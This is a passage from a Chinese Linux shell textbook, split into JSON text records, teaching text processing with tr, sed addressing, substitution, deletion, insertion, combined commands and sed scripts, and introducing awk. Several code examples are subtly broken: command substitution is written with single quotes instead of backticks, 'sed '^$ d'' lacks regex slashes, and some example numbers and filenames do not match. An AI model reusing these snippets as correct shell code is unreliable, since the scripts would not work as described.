    {"text": "该程序的执行结果如下： [root@linux chapter9]# ./ex9-48.sh Hello, world. I love Linux. 注意： 换行符也可以使用八进制数值\\012表示，因此，【例9-49】中的第5行可以修改为： result='cat demo10.txt | tr -s [\"\\012\"]' 9.8.4 大小写转换 在前面的例子中，实际上只为tr命令提供了一个字符集。"},
    {"text": "前者是目标字符集，后者是用来替换的字符集，其语法如下： tr [a-z] [A-Z] 在使用以上命令时，出现在输入文本中的字符集[a-z]中的小写字母将被字符集[A-Z]中相应位置的大写字母代替。"},
    {"text": "【 例9-50 】使用tr命令将当前目录中的所有文件的文件名转为大写，代码如下： 01 #-----------------------------/chapter9/ex9-49.sh------------------ 02 #! /bin/bash 03 04 # 将当前目录在的所有文件的文件名转为大写 05 for file in 'ls';do 06 echo \"$file\" | tr 'a-z' 'A-Z' 07 done 在上面的代码中，第5～7行使用for循环对当前目录中的每个文件名进行转换。"},
    {"text": "该程序的执行结果如下： [root@linux chapter9]# ./ex9-49.sh ALLUSERS.TXT COUNTRIES.TXT DEMO10.TXT DEMO1.TXT DEMO2.TXT DEMO3.TXT … 注意： 如果想要将大写转为小写，只要将两个字符集颠倒就可以了。"},
    {"text": "9.8.5 删除指定字符 使用tr命令可以快速地删除文本中出现的某些字符，这在某些情况下非常有效。 当用户使用tr命令删除指定字符时，需要使用-d选项。"},
    {"text": "例如，用户有一个内容如下的文件demo11.txt： [root@linux chapter9]# cat demo11.txt Monday 09:00 Tuesday 09:10 Wednesday 10:11 Thursday 11:30 Friday 08:00 Saturday 07:40 Sunday 10:00 现在用户想要把其中的时间字符去掉。"},
    {"text": "【 例9-51 】使用tr命令删除demo11.txt文件中的时间列，代码如下： 01 #-----------------------------/chapter9/ex9-50.sh------------------ 02 #! /bin/bash 03 04 # 删除数字和冒号 05 result='tr -d \"[0-9][:]\" < demo11.txt' 06 07 echo \"$result\" 在上面的代码中，第5行使用含有-d选项的tr命令来删除字符集中指定的字符。"},
    {"text": "该程序的执行结果如下： [root@linux chapter9]# ./ex9-50.sh Monday Tuesday Wednesday Thursday Friday Saturday Sunday 注意： 在使用tr命令时，注意字符集表示一个个单独的字符，而非字符串。"},
    {"text": "【 例9-52 】通过补集的方式来删除指定的字符，代码如下： 01 #-----------------------------/chapter9/ex9-51.sh------------------ 02 #! /bin/bash 03 04 # 使用补集删除某些字符 05 result='tr -cs \"[a-z][A-Z]\" \"[\\n*]\" < demo11.txt' 06 07 echo \"$result\" 在上面的代码中，第5行通过-c选项，使得tr命令用空行来代替文本中不在[a-z][A-Z]中出现的字符。 由于在demo11.txt中，所有用户需要的字符都是大写字母或者小写字母，而需要删除的字符都是非字母字符，所以第5行的语句首先将demo11.txt中的非字母字符替换为换行符，然后再通过-s选项压缩文本中的重复字符，从而最终达到删除时间字符的目的。"},
    {"text": "9.9 小结 本章详细介绍了Shell程序中处理文本的各种命令及其使用方法，主要包括使用echo命令输出文本、文本的格式化输出、使用sort命令对文本进行排序、文本的统计、使用cut命令选取文本列、使用paste命令拼接文本列、使用join命令联接文本列，以及使用tr命令替换文本内容等。"},
    {"text": "在这众多的文本处理工具中，其中有一类称为流编辑器的工具却不得不提。 流编辑器在处理文本中发挥着重要的作用，许多其他工具无法完成的工作，使用流编辑器可以非常方便地完成。"},
    {"text": "什么是sed：主要介绍什么是sed工具、sed工具的主要操作、工作方式，以及地址表示方法、在sed命令中使用正则表达式等。 sed命令的常用操作：主要介绍sed命令的注释方法、打印文本、替换文本、删除文本、追加文本、插入文本、移到下一行、读写文件，以及多行模式等。 组合命令：主要介绍如何在sed中组合多条命令，以及如何将多条命令应用到一个地址范围等。 10.1 sed命令及其语法 sed命令是将一系列的编辑命令应用于一批文本的理想工具。"},
    {"text": "sed命令会从文件或者标准输入中一次读取一行数据，将其复制到缓冲区，然后读取命令行或者脚本的编辑子命令，对缓冲区中的文本行进行编辑。"},
    {"text": "图10-1 sed命令工作流程 sed命令的基本语法如下： sed [options] [script] [inputfile...] 在上面的语法中，options代表sed命令的选项，常用的选项如下所列。"},
    {"text": "10.1.2 sed命令的工作方式 通常情况下，用户可以通过3种方式来使用sed命令，下面将分别进行介绍。 首先，用户可以在命令行直接执行sed命令，其基本语法如下： sed [options] commands inputfile 在上面的语法中，commands表示sed的相关操作命令，例如打印文本、删除文件，以及插入文本等。 其次，用户可以将sed操作命令写入脚本文件，然后通过sed命令读取该文件并且执行其中的命令，其基本语法如下： sed [options] -f script inputfile 在上面的语法中，参数scirpt代表一系列的sed操作命令。 最后，用户通过将sed的操作命令写入文件，然后将该脚本文件授予用户执行权限。 这样的话用户就可以直接执行文件，其基本语法如下： ./scrpt inputfile 其中，script代表保存sed命令的脚本文件。 在前面已经讲过，在脚本文件中，用户应该在#!符号后面执行该脚本的解释器，因此在这种方式下，sed脚本文件的第一行应该如下： #! /bin/sed 注意： 在第2种方式中，用户不需要指定脚本的解释器，因为在调用的时候，已经指定使用sed命令载入并解释该文件。"},
    {"text": "10.1.3 使用行号定位文本行 通常情况下，一个完整的sed命令由定位参数和编辑命令两部分组成。 通过定位参数， sed命令可以对特定的文本行进行操作。 sed命令提供了两种方式来实现文本行的定位，其一为行号定位，其二为正则表达式定位。"},
    {"text": "1．定位某个特定的行 在sed命令中，指定某个特定的文本行的语法如下： x 其中，x是一个整数，代表特定的文本行的行号。 例如，现在想要定位到第10行，则可以使用以下语句： 10 2．定位某段连续的行 sed使用以下语法来指定某一段连续的文本行： x,y 在上面的语法中，x表示起始行的行号，y表示终止行的行号。"},
    {"text": "3．指定起始行和步长 在某些情况下，用户需要的不是一段连续的文本行，而是一段有固定间隔的行，例如偶数行、奇数行或者每隔3行等。 在这种情况下，用户可以使用以下语法来指定文本行的步长： first~step 在上面的语法中，first和step都是整数，其中first表示起始行，step表示行号增长的步长。 例如，如果要指定文本文件的偶数行，用户可以使用以下语句： 0~2 如果用户想要指定文本文件的奇数行，则可以使用以下语句： 1~2 4．指定文件的第一行和最后一行 指定文件的第一行比较简单，直接使用数字1即可，如下： 1 对于文件的最后一行，sed命令专门提供了一个操作符$。 因此，指定文件最后一行的语句如下： $ 5．指定某行后面的几行 在sed命令中，用户可以采用相对定位的方法来指定行，如下： x,+n 以上语法表示指定从x行以及后面的n行文本。"},
    {"text": "sed命令中，正则表达式的语法如下： /regexp/ 在上面的语法中，两个斜线之间的regexp表示正则表达式，其中，常用的正则表达式元字符如下所列。"},
    {"text": "\\+：与星号类似，但是该元字符匹配其前置表达式出现1次以上，属于扩展正则表达式。 \\?：匹配其前置表达式重复出现0次或者1次。 \\{i\\}：类似于星号，但匹配前置表达式出现i次，如a\\{3\\}匹配aaa。 \\{i,j\\}：匹配前置表达式最少出现i次，最多出现j次。 例如，a\\{1,2\\}可以匹配a或者aa这两种情况。 \\{i,\\}：匹配其前置表达式至少出现i次。"},
    {"text": "10.2 sed命令的常用操作 除了定位参数之外，sed命令的另外一个组成部分就是编辑命令。 常用的编辑命令有打印、插入、删除，以及替换等，本节将介绍如何在sed命令使用这些编辑命令。 10.2.1 sed编辑命令基本语法 sed命令的基本语法如下： [address1[,address2]] command [argument] 在上面的语法中，address1和address2都称为位置参数，在10.1节中已经讲过，sed命令的位置参数可以使用两种方式来表示，分别为行号和正则表达式。 位置参数的作用是用来限制sed编辑命令所影响的文本行的范围。 如果某个sed命令没有提供位置参数，则表示对指定文本文件中的所有的文本行执行编辑操作；"},
    {"text": "注意： sed命令的两个位置参数可以同时使用行号或者正则表达式，也可以混合使用，即其中一个位置参数使用行号，另外一个位置参数使用正则表达式。"},
    {"text": "【 例10-1 】演示使用行定位方法来选择输出某些文本行，其中使用的文本文件仍然是第9章中的students.txt。 代码如下： 01 #----------------------------/chapter10/ex10-1.sh------------------ 02 #! /bin/bash 03 04 # 输出 1~3 行，不使用 -n 选项 05 sed '1,3p' students.txt 06 07 echo \"====================================\" 08 09 # 输出 1~3 行，使用 -n 选项 10 sed -n '1,3p' students.txt 在上面的代码中，第5行没有使用-n选项来输出students.txt文件的第1～3行，第10行使用了-选项来打印同样的文本行。 该程序的输出结果如下： [root@linux chapter10]# ./ex10-1.sh 200200110 Abdul 200200110 Abdul 200200164 Abram 200200164 Abram 200200167 Bartley 200200167 Bartley 200200168 Bennett 200200172 Cecil 200200173 John 200200187 Cat ==================================== 200200110 Abdul 200200164 Abram 200200167 Bartley 在上面的执行结果中，横线上面的是不含有-n选项的sed命令的输出结果，横线下面是含有-n选项的sed命令的输出结果。 分析输出结果中的文本行，可以发现在不使用-n选项的情况下，sed命令将文本文件的前3行输出了两次。 之所以会出现这个结果，是因为sed命令首先会读取一行文本，然后自动将缓冲区中的该行文本输出到标准输出。 接着执行sed的子命令，遇到p命令之后，该命令又会强制sed命令输出一次缓冲区中的文本。"},
    {"text": "【 例10-2 】演示使用正则表达式来作为定位参数，代码如下： 01 #----------------------------/chapter10/ex10-2.sh------------------ 02 #! /bin/bash 03 04 # 使用正则表达式定位 05 result='sed -n '/^20020017/ p' students.txt' 06 07 echo \"$result\" 在上面的代码中，第5行使用正则表达式/^20020017/来定位文本，表示以字符2开头，然后紧跟着字符串0020017的文本行，对于这些文本行执行定位参数后面的子命令p。 该程序的执行结果如下： [root@linux chapter10]# ./ex10-2.sh 200200172 Cecil 200200173 John 另外，还有一些特殊的情况，例如用户需要输出第一行，则可以使用以下命令： [root@linux chapter10]# sed -n '1 p' students.txt 200200110 Abdul 其中，位置参数1表示第一行文本。 如果想要打印最后一行，则可以使用以下命令： [root@linux chapter10]# sed -n '$ p' students.txt 200200187 Cat 其中的位置参数$表示定位文本文件的最后一行。 如果想要输出奇数行，则可以使用以下命令： [root@linux chapter10]# sed -n '1~2 p' students.txt 200200110 Abdul 200200167 Bartley 200200172 Cecil 200200187 Cat 其中的位置参数1～2表示从第一行开始，每隔两行。 同理，如果想要输出偶数行，则只要将上面的位置参数的1改为0即可，如下： [root@linux chapter10]# sed -n '0~2 p' students.txt 200200164 Abram 200200168 Bennett 200200173 John 下面的命令的位置参数使用正则表达式和行号来表达： [root@linux chapter10]# sed -n '/Abdul/,5 p' students.txt 200200110 Abdul 200200164 Abram 200200167 Bartley 200200168 Bennett 在上面的命令中，第一个位置参数使用正则表达式/Abtul/表达，表示从含有字符串Abtul的文本行开始，第二个位置参数使用行号5表达，表示到第5行结束。"},
    {"text": "文本的替换需要使用s子命令，其语法如下： [address1[ ,address2]] s/pattern/replacemen/[flag] 在上面的语法中，address1与address2都是位置参数，关于它们的用法请参见前面的几个小节的介绍。 在s命令中，位置参数通常会被省略，表示在所有的文本行中进行替换操作，其语法如下： s/pattern/replacemen/[flag] s子命令表示执行替换（substitute）操作。"},
    {"text": "【 例10-3 】演示使用s子命令替换文本的方法，代码如下： 01 #----------------------------/chapter10/ex10-3.sh------------------ 02 #! /bin/bash 03 04 echo \"substitute the first pattern.\" 05 # 只将每行中第 1 次出现的小写字母 e 替换为大写字母 E 06 result='sed 's/e/E/' students.txt' 07 08 echo \"$result\" 09 10 echo \"substitute all the patterns.\" 11 # 将每一处的小写字母 e 都替换为大写字母 E 12 result='sed 's/e/E/g' students.txt' 13 14 echo \"$result\" 在上面的代码中，第6行中的正则表达式为/e/表示匹配小写字母e，后面的E为用来替换的字符串。"},
    {"text": "该程序的执行结果如下： [root@linux chapter10]# ./ex10-3.sh substitute the first pattern. 200200110 Abdul 200200164 Abram 200200167 BartlEy 200200168 BEnnett 200200172 CEcil 200200173 John 200200187 Cat substitute all the patterns. 200200110 Abdul 200200164 Abram 200200167 BartlEy 200200168 BEnnEtt 200200172 CEcil 200200173 John 200200187 Cat 通过分析上面的输出结果，可以发现，代码中第6行的sed语句只替换了每行中第一次出现的字母e，其他的字母e却没有被替换，例如Bennett中被替换成了BEnnett。"},
    {"text": "【 例10-4 】使用行号定位方法来定位文本行，代码如下： 01 #----------------------------/chapter10/ex10-4.sh------------------ 02 #! /bin/bash 03 04 # 替换第 1~3 行中的所有的小写字母 e 为大写字母 E 05 result='sed '1,3 s/e/E/g' students.txt' 06 07 echo \"$result\" 在上面的代码中，第5行表示替换指定文本文件的1～3行中的所有的小写字母e为大写字母E，其余的文本行不受影响。 该程序的执行结果如下： [root@linux chapter10]# ./ex10-4.sh 200200110 Abdul 200200164 Abram 200200167 BartlEy 200200168 Bennett 200200172 Cecil 200200173 John 200200187 Cat 分析上面的输出结果，可以发现只有第1～3文本行中的小写字母e被替换，而其余的小写字母并没有被替换。"},
    {"text": "代码如下： 01 #----------------------------/chapter10/ex10-5.sh------------------ 02 #! /bin/bash 03 04 # 使用混合位置参数 05 result='sed '1,/^200200167/ s/e/E/g' students.txt' 06 07 echo \"$result\" 在上面的代码中，第5行的位置参数为1,/^200200167/，其中，第1个位置参数为1，表示从第1行开始；"},
    {"text": "假设有下面一段HTML代码需要用户处理： 01 <div class=\"xspace-itemdata\"> 02 <a href=\"#xspace-tracks\">view(1881)</a> 03 <a href=\"#xspace-itemreply\">review(5)</a> 04 <a href=\"#xspace-itemform\">score</a> 05 </div> 【 例10-6 】使用sed命令结合正则表达式将上面HTML代码中的文本提取出来，代码如下： 01 #----------------------------/chapter10/ex10-6.sh------------------ 02 #! /bin/bash 03 04 # 将文件中的 HTML 标记替换为空 05 result='sed 's/<[^>]*>//g' html.txt' 06 07 echo \"$result\" 用户需要特别注意代码第5行中正则表达式/<[^>]*>/，这个正则表达式所描述的匹配规则为：首先是一个左尖括号，在随后的文本中不会出现右尖括号，接下来是匹配任意多个任意字符，最后是一个右尖括号。"},
    {"text": "该程序的执行结果如下： [root@linux chapter10]# ./ex10-6.sh view(1881) review(5) score 从上面的执行结果可以得知，所有的HTML标记全部被过滤掉了。"},
    {"text": "因此，下面的两条语句与【例10-6】中的第5行是等价的： result='sed 's:<[^>]*>::g' html.txt' result='sed 's;<[^>]*>;;g' html.txt' 其中，第1条使用了冒号作为参数分隔符，第2条使用分号作为参数分隔符。"},
    {"text": "但是，如果替换字符串中含有字符&或者反斜线加上数字\\n，其中n是一个1～9之间的数字，则表示引用子字符串。 其中&符号表示引用匹配的模式，即在某个文本行中与模式相匹配的那部分子串；"},
    {"text": "【 例10-7 】演示&符号的使用方法，其中demo1.txt文件的内容如下： [root@linux chapter10]# cat demo1.txt This is a string. 本例代码如下： 01 #----------------------------/chapter10/ex10-7.sh------------------ 02 #! /bin/bash 03 04 # 引用与模式相匹配的子串 05 result='sed 's/string/long &/' demo1.txt' 06 07 echo \"$result\" 在上面的代码中，第5行中的&表示引用模式string，因此每个文本行中第1个与模式string相匹配的子串都将被替换为long string这个字符串。 该程序的执行结果如下： [root@linux chapter10]# ./ex10-7.sh This is a long string. 注意： 由于【例10-7】中没有使用全局替换标志g，所以只会替换每个文本行中第1次匹配的子串。 【 例10-8 】演示使用\\n的形式来引用模式中子串，代码如下： 01 #----------------------------/chapter10/ex10-8.sh------------------ 02 #! /bin/bash 03 04 # 通过数字来引用模式中的子串 05 result='sed 's/\\(This\\) \\(is\\) \\(a\\) \\(string\\)/\\2 \\1 \\3 \\4/' demo1.txt' 06 07 echo \"$result\" 在上面的代码中，第5行的匹配模式被圆括号分隔成4个子串，在后面的替换字符串中，\\2表示引用第2个子串，即is，\\1表示引用第1个子串，即This，\\3和\\4分别引用第3个和第4个子串，分别为a和string。 该程序的执行结果如下： [root@linux chapter10]# ./ex10-8.sh is This a string. 从上面的执行结果可以得知，【例10-8】重新排列了模式中的单词的次序。"},
    {"text": "10.2.4 删除文本 接下来介绍如何使用sed命令删除某些文本行。 sed提供了d子命令来实现文本行的删除（delete），其语法如下： [address1[ ,address2]] d 在上面的语法中，两个位置参数的涵义以及用法请参见前面的内容。 命令d表示删除位置参数指定的行。 如果省略位置参数，则表示删除文本文件中的所有的行。 在执行删除操作时，sed命令会首先读取一行文本到缓冲区，然后将符合位置参数的文本行删除，接着读取并处理下一行。 下面的例子演示了如何删除指定的文本行。 【 例10-9 】通过sed命令删除指定的文本行，代码如下： 01 #----------------------------/chapter10/ex10-9.sh------------------ 02 #! /bin/bash 03 04 # 删除第 1 行 05 result='sed -e '1 d' students.txt' 06 07 echo \"$result\" 在上面的代码中，第5行的sed语句中多个一个选项-e，这个选项的功能是告诉sed，将后面的字符串作为子命令来处理。"},
    {"text": "该程序的执行结果如下： [root@linux chapter10]# ./ex10-9.sh 200200164 Abram 200200167 Bartley 200200168 Bennett 200200172 Cecil 200200173 John 200200187 Cat 对比前面列出的students.txt文件的内容，可以发现第一行，即学号为200200110的一行数据已经被删除。"},
    {"text": "如果想要删除文本文件的最后一行，可以使用符号$作为定位参数，如下面的例子所示。 【 例10-10 】演示删除文本文件最后一行的方法，代码如下： 01 #---------------------------/chapter10/ex10-10.sh------------------ 02 #! /bin/bash 03 04 # 删除最后一行 05 result='sed -e '$ d' students.txt' 06 07 echo \"$result\" 该程序的执行结果如下： [root@linux chapter10]# ./ex10-10.sh 200200110 Abdul 200200164 Abram 200200167 Bartley 200200168 Bennett 200200172 Cecil 200200173 John 从上面的执行结果中可以得知，学号为200200187的最后一行已经被删除。"},
    {"text": "【 例10-11 】演示sed命令中文本行的不同定位方法，代码如下： 01 #---------------------------/chapter10/ex10-11.sh------------------ 02 #! /bin/bash 03 04 # 删除 1~4 行 05 result='sed -e '1,4 d' students.txt' 06 07 echo \"$result\" 08 09 echo \"===============================\" 10 11 # 删除奇数行 12 result='sed -e '1~2 d' students.txt' 13 14 echo \"$result\" 15 16 echo \"==============================\" 17 18 # 删除偶数行 19 result='sed -e '0~2 d' students.txt' 20 21 echo \"$result\" 22 23 echo \"=============================\" 24 25 # 删除从第 1 行开始，一直到以 200200172 开头的行 26 result='sed -e '1,/^200200172/ d' students.txt' 27 28 echo \"$result\" 29 30 echo \"============================\" 31 32 # 删除从第 4 行开始，一直到最后一行的所有行 33 result='sed '4,$ d' students.txt' 34 35 echo \"$result\" 在上面的代码中，第5行代码的子命令为1,4 d，表示从第1个文本行开始，一直删除到第4个文本行为止。"},
    {"text": "第12行代码的子命令为1～2 d，表示从第1个文本行开始，每隔2行删除1行文本，即删除行号为奇数的文本行。 第19行代码的子命令为0～2 d，表示从第0个文本行开始，每隔2行删除1行文本，即删除行号为偶数的文本行。 第26行代码的子命令为1,/^200200172/ d，表示从第1个文本行开始，到以字符串00200172开头的文本行为止，删除这一段文本行。 第33行的子命令为4,$ d，表示删除从第4个文本行开始，到文件末尾的所有文本行。"},
    {"text": "该程序的执行结果如下： [root@linux chapter10]# ./ex10-11.sh 200200172 Cecil 200200173 John 200200187 Cat =============================== 200200164 Abram 200200168 Bennett 200200173 John ============================== 200200110 Abdul 200200167 Bartley 200200172 Cecil 200200187 Cat ============================= 200200173 John 200200187 Cat ============================ 200200110 Abdul 200200164 Abram 200200167 Bartley 注意： 还记得在介绍正则表达式的时候讲过的空白行的表示方法吗？"},
    {"text": "因此，用户可以使用以下命令来删除文件中的所有的空白行： sed '^$ d' students.txt 10.2.5 追加文本 所谓追加文本，是指将某些文本插入到某个位置的后面。"},
    {"text": "sed命令提供了a子命令来实现文本的追加（append），其基本语法如下： [address1] a string 从上面的语法可以得知，子命令a最多只能使用一个位置参数。"},
    {"text": "【 例10-12 】演示通过sed命令追加文本的方法，代码如下： 01 #---------------------------/chapter10/ex10-12.sh------------------ 02 #! /bin/bash 03 04 # 在第 2 行后面追加文本 05 result='sed '2 a 200200109 Tom' students.txt' 06 07 echo \"$result\" 在上面的代码中，使用行号2作为位置参数，表示在第2行后面追加一行文本。 该程序的执行结果如下： [root@linux chapter10]# ./ex10-12.sh 200200110 Abdul 200200164 Abram 200200109 Tom 200200167 Bartley 200200168 Bennett … 从上面的执行结果可以得知，学号为200200109的文本行被插入到第2行后面。"},
    {"text": "【 例10-13 】通过正则表达式指定追加文本的位置，代码如下： 01 #---------------------------/chapter10/ex10-15.sh------------------ 02 #! /bin/bash 03 04 # 在以 200200110 开头的文本行后面追加文本 05 result='sed '/^200200110/ a 200200109 Tom' students.txt' 06 07 echo \"$result\" 该程序的执行结果如下： [root@linux chapter10]# ./ex10-13.sh 200200110 Abdul 200200109 Tom 200200164 Abram 200200167 Bartley … 10.2.6 插入文本 插入文本的操作与追加文本非常相似，只是插入的位置不同。"},
    {"text": "在sed命令中，子命令i用来实现文本的插入，其语法如下： [address1] i string 与子命令a一样，子命令i也是最多只能使用一个位置参数。 位置参数address1用来指定要插入文本的位置，子命令i表示当前的操作是插入文本，参数string表示将要被插入的文本。"},
    {"text": "代码如下： 01 #---------------------------/chapter10/ex10-14.sh------------------ 02 #! /bin/bash 03 04 # 在以 200200110 开头的文本行前面插入文本 05 result='sed '2 i 200200109 Tom' students.txt' 06 07 echo \"$result\" 该程序的执行结果如下： [root@linux chapter10]# ./ex10-14.sh 200200110 Abdul 200200109 Tom 200200164 Abram … 对比【例10-14】和【例10-12】的执行结果，可以发现文本行的插入位置不同。"},
    {"text": "如果不支持组合命令的话，则需要使用多个sed命令来完成； 如果使用组合命令，则可以在一条sed命令中将这些操作完成。 本节将介绍sed中的组合命令的使用方法。"},
    {"text": "【 例10-15 】演示sed命令-e选项的使用方法，代码如下： 01 #---------------------------/chapter10/ex10-15.sh------------------ 02 #! /bin/bash 03 04 # 将所有的小写字母 e 替换为大写字母，然后打印 2~3 行 05 result='sed -n -e 's/e/E/g' -e '2,3 p' students.txt' 06 07 echo \"$result\" 在上面的代码中，第5行的语句执行了两个sed子命令，首先是子命令s，将所有的小写字母e替换为大写字母E。"},
    {"text": "该程序的执行结果如下： [root@linux chapter10]# ./ex10-15.sh 200200164 Abram 200200167 BartlEy 从上面的执行结果可以得知，第2个子命令输出的是第1个子命令处理后的结果。"},
    {"text": "10.3.2 使用分号执行多个子命令 用户还可以使用分号来将各个子命令隔开，其语法如下： sed -e 'command1;command2...' filename 其中，command1以及command2等都表示多个子命令，这些子命令之间用分号隔开。"},
    {"text": "【 例10-16 】演示通过分号执行多个子命令的方法，代码如下： 01 #---------------------------/chapter10/ex10-16.sh------------------ 02 #! /bin/bash 03 04 # 使用分号隔开多个子命令 05 result='sed -e 's/e/E/g;2 i 200100001 Ellen' students.txt' 06 07 echo \"$result\" 在上面的代码中，第5行包含两个子命令，第1个是s子命令，第2个是i子命令。 该程序的执行结果如下： [root@linux chapter10]# ./ex10-16.sh 200200110 Abdul 200100001 Ellen 200200164 Abram 200200167 BartlEy 200200168 BEnnEtt 200200172 CEcil 200200173 John 200200187 Cat 在上面的执行结果中，除了新插入的第2行文本之外，其他的所有文本行中的小写字母e都被替换成了大写字母E，这个正是s子命令的处理结果。 第2行中的小写字母e并没有被替换，是因为sed命令的子命令是按照从左到右的顺序依次执行的，s子命令在前， i子命令在后，所以i子命令插入的行并没有被s子命令处理。"},
    {"text": "10.3.3 对一个地址使用多个子命令 在某些情况下，用户需要对同一个地址使用多个子命令，例如，对某个文件的前20行进行多次替换操作等。 sed命令提供了对同一个地址使用多个子命令的语法，如下： address { command1 command2 command3 … } 在上面的语法中，address为位置参数，表示后面一组命令的应用对象。"},
    {"text": "除了上面将多个子命令分行书写的语法之外，还可以将所有的子命令写在一行里面，如下： [address] {command1;command2;command3;…} 注意： 在不同的sed版本中，对于组合命令的语法要求可能会不同。"},
    {"text": "【 例10-17 】演示对同一个地址使用多个子命令的方法，代码如下： 01 #---------------------------/chapter10/ex10-17.sh------------------ 02 #! /bin/bash 03 04 # 组合命令 05 result='sed -n '1,5 { 06 s/e/E/g 07 s/a/A/g 08 2 i 201303009 Tom 09 p 10 }' students.txt' 11 12 echo \"$result\" 在上面的代码中，第5行的sed命令中的位置参数为1,5，表示对第1～5行文本使用后面的一组子命令，接下来是左大括号。"},
    {"text": "第6行是第1个子命令s，将小写字母e替换为大写字母E，第7行是第2个子命令s，将小写字母a替换为大写字母A，第8行是第3个子命令i，在第2行文本的前面插入一行，代码的第9行是子命令p，用来输出缓冲区中的数据。"},
    {"text": "该程序的执行结果如下： [root@linux chapter10]# ./ex10-17.sh 200200110 Abdul 201303009 Tom 200200164 AbrAm 200200167 BArtlEy 200200168 BEnnEtt 200200172 CEcil 从上面的执行结果可以得知，sed会依次执行各个子命令。"},
    {"text": "10.3.4 sed脚本文件 尽管直接将子命令写在sed命令中会非常方便，但是当用户的需求比较复杂，子命令较多的情况下，直接在sed命令中输入子命令会导致程序的可读性差，会让用户分不清哪些是子命令，以及这些子命令的功能是什么。 为了避免这个问题，sed提供了-f选项，通过这个选项，sed命令可以从指定的脚本文件中读取子命令，然后对每个文本行依次执行各个子命令，其语法如下： sed -f script 其中，script表示sed脚本文件。 sed脚本的语法比较简单，就是将各个子命令依次列出来，不必使用引号。"},
    {"text": "例如，下面显示的是一段Java代码： 01 import java.rmi.RemoteException; 02 03 public class HelloClient 04 { 05 /** 06 * @param args 07 */ 08 09 public static void main(String[] args) 10 { 11 // TODO Auto-generated method stub 12 HelloProxy ws = new HelloProxy(); 13 try 14 { 15 System.out.println(ws.sayHello(\"dfasdfasdfsd\")); 16 } 17 catch (RemoteException e) 18 { 19 // TODO Auto-generated catch block 20 e.printStackTrace(); 21 } 22 } 23 24 } 可以发现，上面的代码中，存在着许多空行，另外代码缩进也不整齐。"},
    {"text": "为了处理以上问题，编写一个sed脚本文件，其名称为java.sed，具体代码如下： 01 #-----------------------------/chapter10/java.sed------------------ 02 s/^[[:blank:]][[:blank:]]*/\\t/g 03 /^$/d 04 /^[[:blank:]]\\/\\//d 05 /^[[:blank:]]\\/\\*/d 06 /^[[:blank:]]\\*/d 在上面的代码中，第2行使用s子命令将超过1个空格或者制表符替换为1个制表符；"},
    {"text": "第3行使用d子命令删除所有的空行； 第3行删除以1个空格开头，后跟2个斜线/的行； 第5行删除以2个空格开头，后跟字符串/*的行； 第6行删除以2个空格开头，后跟1个星号的行。"},
    {"text": "然后用户可以使用以下命令来执行sed脚本文件中的子命令，如下： [root@linux chapter10]# sed -f java.sed code.java import java.rmi.RemoteException; public class HelloClient { public static void main(String[] args) { HelloProxy ws = new HelloProxy(); try { System.out.println(ws.sayHello(\"dfasdfasdfsd\")); } catch (RemoteException e) { e.printStackTrace(); } } } 通过上面的输出结果，可以发现代码中的空行和注释都已经被删除，另外，代码的缩进也已经非常整齐。"},
    {"text": "第3种方式就是将所有的命令都写在一个脚本文件中，然后赋予该脚本文件的可执行权限，这样的话，用户就不需要再在命令行中调用sed命令，而是直接执行脚本文件。 从大体上讲，sed可执行脚本文件的语法与其他的Shell脚本文件非常相似，首先在第1行指定解释器，然后是一系列的代码。"},
    {"text": "下面将上面的java.sed文件进行修改，变成一个可执行的脚本文件，内容如下： 01 #! /bin/sed -f 02 03 s/^[[:blank:]][[:blank:]]*/\\t/g 04 /^$/d 05 /^[[:blank:]]\\//d 06 /^[[:blank:]]\\/\\*/d 07 /^[[:blank:]]\\*/d 在上面的代码中，第1行指定解释器程序，此处需要使用-f选项，因为下面的子命令都来自脚本文件。"},
    {"text": "修改完成之后，使用chmod命令修改文件的权限，如下： [root@linux chapter10]# chmod +x java.sed 接下来，用户就可以使用以下方式直接执行该脚本文件： [root@linux chapter10]# ./java.sed code.java import java.rmi.RemoteException; public class HelloClient { public static void main(String[] args) { HelloProxy ws = new HelloProxy(); try { System.out.println(ws.sayHello(\"dfasdfasdfsd\")); } catch (RemoteException e) { e.printStackTrace(); } } } 10.4 小结 本节详细介绍了流编辑器sed的使用方法，主要包括sed命令及其语法，sed常用的操作命令，例如查找、替换、删除、插入，以及追加文本等。"},
    {"text": "另外，还介绍了sed的组合命令的使用方法。 本章重点在于掌握sed命令的工作原理，以及基本的编辑操作命令。 除了以上内容之外，sed还包括许多其他的内容，例如读写文本及缓冲区的管理等。"},
    {"text": "awk特别适合处理文本化的数据，它不仅仅是简单的字符串匹配，而是包含了变量、函数、表达式，以及流程控制等一系列的功能。 因此，对于系统管理员来说，掌握好awk命令，可以更加方便地处理文本数据。"},
    {"text": "11.1 awk入门 awk是一种非常强大的数据处理工具，其本身可以称为一种程序设计语言，因而具有其他程序设计语言所共同拥有的一些特征，例如变量、函数，以及表达式等。"},
    {"text": "11.1.1 awk的功能 awk的名称来自于其三位开发者的名字的缩写，分别为阿尔佛雷德·艾侯（Alfred Aho）、彼得·杰·温伯格（Peter Jay Weinberger）和布莱恩·威尔森·柯林汉（Brian Wilson Kernighan）。"},
    {"text": "除此之外，awk还是一种编程语言环境，它提供了正则表达式的匹配、流程控制、运算符、表达式、变量，以及函数等一系列的程序设计语言所具备的特性。"},
    {"text": "11.1.2 awk命令的基本语法 awk命令的基本语法如下： awk pattern { actions } 在上面的语法中，pattern表示匹配模式，actions表示要执行的操作。"},
    {"text": "（3）依次执行程序中所有的匹配模式及其操作。 （4）当执行完程序中所有的匹配模式及其操作之后，如果数据文件中仍然有末读取的数据行，则返回到第（1）步，重复执行（1）～（4）的操作。"},
    {"text": "11.1.4 执行awk程序的几种方式 与上一章介绍的sed工具相似，用户也可以通过3种方式来执行awk程序，分别是命令行、awk脚本，以及可执行文件。"},
    {"text": "为了学习awk的使用方法，用户需要首先准备一个数据文件，其名称为scores.txt，内容如下： [root@linux chapter11]# cat scores.txt John 85 92 79 87 Nancy 89 90 73 82 Tom 81 88 92 81 Kity 79 65 83 90 Han 92 89 80 83 Kon 88 76 85 97 在上面的内容中，第1列为学生姓名，后面4列为学生成绩。"},
    {"text": "1．通过命令行执行awk程序 在这种情况下，用户可以像执行其他Shell命令一样来执行awk程序，其语法如下： awk 'program-text' datafile 在上面的语法中，program-text表示要执行的awk程序语句，必须使用单引号将其引用起来，以防止Shell解释该语句。"},
